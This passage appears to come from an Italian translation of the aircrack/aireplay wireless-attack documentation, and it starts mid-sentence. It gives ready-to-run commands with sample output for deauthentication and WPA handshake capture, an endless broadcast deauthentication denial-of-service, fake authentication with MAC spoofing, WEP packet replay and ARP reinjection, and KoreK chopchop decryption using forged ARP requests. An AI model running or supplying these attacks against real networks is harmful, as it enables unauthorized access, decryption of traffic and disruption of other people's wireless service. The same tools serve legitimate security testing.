attacco è inutile se non ci sono client associati.
Di solito è più
efficace puntare una station specifica usando il paramentro -c.
Esempi:
- Cattura di un Handshake WPA con Atheros
airmon.sh start ath0 airodump ath0 out 6 (switch to another console) aireplay -0 5 -a 00:13:10:30:24:9C -c 00:09:5B:EB:C5:2B ath0 (wait for a few seconds) aircrack -w /path/to/dictionary out.cap
- Generazione di una ARP requestcon una scheda
Prism2
airmon.sh start wlan0 airodump wlan0 out 6 (switch to another console) aireplay -0 10 -a 00:13:10:30:24:9C wlan0 aireplay -3 -b 00:13:10:30:24:9C -h 00:09:5B:EB:C5:2B wlan0
Dopo aver spedito 5 blocchi di pacchetti di
de-autenticazione, ci mettiamo in ascolto delle ARP requests con
l'attacco 3. E' obbligatoria l'opzione -h e deve essere il MAC di un
client associato.
Se il driver è wlan-ng, devi
lanciare lo
script airmon.sh; altrimenti la scheda non sarà impostata
per
fare injection.
- Mass denial-of-service con scheda RT2500
airmon.sh start ra0 aireplay -0 0 -a 00:13:10:30:24:9C ra0
Con il parametro 0, questo attacco esegue un
loop
infinito spedendo pacchetti di deauthenticazione all'indirizzo
di broadcast, impedendo ai client di rimanere autenticati.
- Attacco
1: autenticazione falsa
Questo attacco serve solo quando hai bisogno di un
MAC address
associato per gli attacchi 2, 3, 4 (opzione -h) e in questo momento non
ci sono altri client associati. In
genere è meglio usare il MAC address di un client vero (in
questo caso, 00:09:5B:EB:C5:2B) negli attacchi 2, 3 e 4. L'attacco con
falsa autenticazione NON genera ARP requests.
Inoltre, gli attacchi successivi funzioneranno
meglio se modifichi il
MAC address della scheda, cosi che spedisca ACKs correttamente:
ifconfig ath0 down ifconfig ath0 hw ether 00:11:22:33:44:55 ifconfig ath0 up
aireplay -1 0 -e 'the ssid' -a 00:13:10:30:24:9C -h 00:11:22:33:44:55 ath0 12:14:06 Sending Authentication Request 12:14:06 Authentication successful 12:14:06 Sending Association Request 12:14:07 Association successful :-)
Con la versione patchata
madwifi CVS 2005-08-14, è possibile iniettare pacchetti in
Managed mode (la chiave WEP in sè non c'entra, fintanto che
l'
AP
accetta autenticazioni Open-System). Quindi, invece di eseguire
l'attacco 1, puoi semplicemente associare e
iniettare /
monitorare attraverso l'interfaccia athXraw:
ifconfig ath0 down hw ether 00:11:22:33:44:55 iwconfig ath0 mode Managed essid 'the ssid' key AAAAAAAAAA ifconfig ath0 up
sysctl -w dev.ath0.rawdev=1 ifconfig ath0raw up airodump ath0raw out 6
Poi devi eseguire gli attacchi 3 o 4
(aireplay sostituirà automaticamente
ath0 con ath0raw qui sotto):
aireplay -3 -h 00:11:22:33:44:55 -b 00:13:10:30:24:9C ath0 aireplay -4 -h 00:10:20:30:40:50 -f 1 ath0
|
Alcuni access points richiedono di riassociarsi
ogni 30
secondi, altrimenti il nostro falso client è considerato
disconnesso. In questo caso, imposta l'intervallo di riassociazione
automatica:
aireplay -1 30 -e 'the ssid' -a 00:13:10:30:24:9C -h 00:11:22:33:44:55 ath0
Se questo attacco sembra fallire (aireplay
continua a
spedire richieste di autenticazione), può essere in uso il
MAC
address filtering. Verifica anche che:
- Sei abbastanza vicino all' access point.
- Il driver ha la patch ed è
correttamente installato.
- La scheda è configurata sullo stesso
canale dell' AP.
- Il BSSID e l' ESSID (opzioni -a / -e) sono
corretti.
- Se usi Prism2, assicurati che il firmware sia
aggiornato.
Ricordati che: non puoi iniettare con chipset
Centrino, Hermes,
ACX1xx, Aironet, ZyDAS, Marvell o Broadcom causa limiti del firmware o
del driver.
- Attacco
3: replay interattivo dei pacchetti
Questo attacco permette di scegliere un pacchetto
specifico per il replay; a volte da risultati migliori dell'attacco 3
(ARP
reinjection automatica).
Puoi usarlo, ad esempio, per provare l'attacco
"any data re-broadcast", che funziona solo se l'AP ricifra i pacchetti
dati WEP:
aireplay -2 -b 00:13:10:30:24:9C -n 100 -p 0841 \ -h 00:09:5B:EB:C5:2B -c FF:FF:FF:FF:FF:FF ath0
Puoi anche usare l'attacco 2 to per fare il replay
manuale delle ARP reques cifrate con WEP, la cui dimensione
è di
68 o 86 bytes (a seconda del sistema operativo):
aireplay -2 -b 00:13:10:30:24:9C -d FF:FF:FF:FF:FF:FF \ -m 68 -n 68 -p 0841 -h 00:09:5B:EB:C5:2B ath0
aireplay -2 -b 00:13:10:30:24:9C -d FF:FF:FF:FF:FF:FF \ -m 86 -n 86 -p 0841 -h 00:09:5B:EB:C5:2B ath0
- Attacco
3: ARP-request reinjection
Il classico attacco ARP-request replayè
il
più efficace nel generare nuovi IVs, ed è molto
affidabile. Hai solo bisogno del MAC address di un client associato
(00:09:5B:EB:C5:2B), o di un MAC falso dall'attacco attacco 1
(00:11:22:33:44:55). Può darsi che tu debba aspettare un
paio di
minuti, o anche di più, fino a vedere una ARP request;
questo
attacco non funziona se non c'è traffico.
Nota che puoi anche riutilizzare le ARP requests
di una cattura precedente usando il parametro -r.
aireplay -3 -b 00:13:10:30:24:9C -h 00:11:22:33:44:55 ath0 Saving ARP requests in replay_arp-0627-121526.cap You must also start airodump to capture replies. Read 2493 packets (got 1 ARP requests), sent 1305 packets...
- Attacco
4: KoreK's "chopchop" (CRC prediction)
Questo attacco, quando funziona, può
decifrare un
pacchetto dati WEP senza conoscere la chiave. Può anche
funzionare con uno WEP dinamico. Questo attacco non recupera
la chiave WEP, ma semplicemente recupera i dati in chiaro.
Tuttavia, la maggior parte degli access point non è
vulnerabile.
Alcuni all'inizio possono sembrare vulnerabilimi ma rifiutano i
pacchetti con meno di 60 bytes. Questo attacco richiede almeno un
pacchetto dati WEP.
- Prima decifriamo un pacchetto :
aireplay -4 -h 00:09:5B:EB:C5:2B ath0
- Diamo un'occhiata all'indirizzo IP :
tcpdump -s 0 -n -e -r replay_dec-0627-022301.cap reading from file replay_dec-0627-022301.cap, link-type [...] IP 192.168.1.2 > 192.168.1.255: icmp 64: echo request seq 1
- Quindi, creiamo una falsa ARP request.
L' IP sorgente (192.168.1.100) non importa, ma
quello di destinazione
(192.168.1.2) deve rispondere alle ARP requests. Il MAC sorgente deve
essere quello di un client associato.
./arpforge replay_dec-0627-022301.xor 1 00:13:10:30:24:9C \ 00:09:5B:EB:C5:2B 192.168.1.100 192.168.1.2 arp.cap
- E ora facciamo il replay della ARP request
falsa:
aireplay -2 -r arp.cap ath0
Infine vorrei ringraziare le molte,
molte persone che hanno contribuito a aircrack... sapete chi
sono :-)
|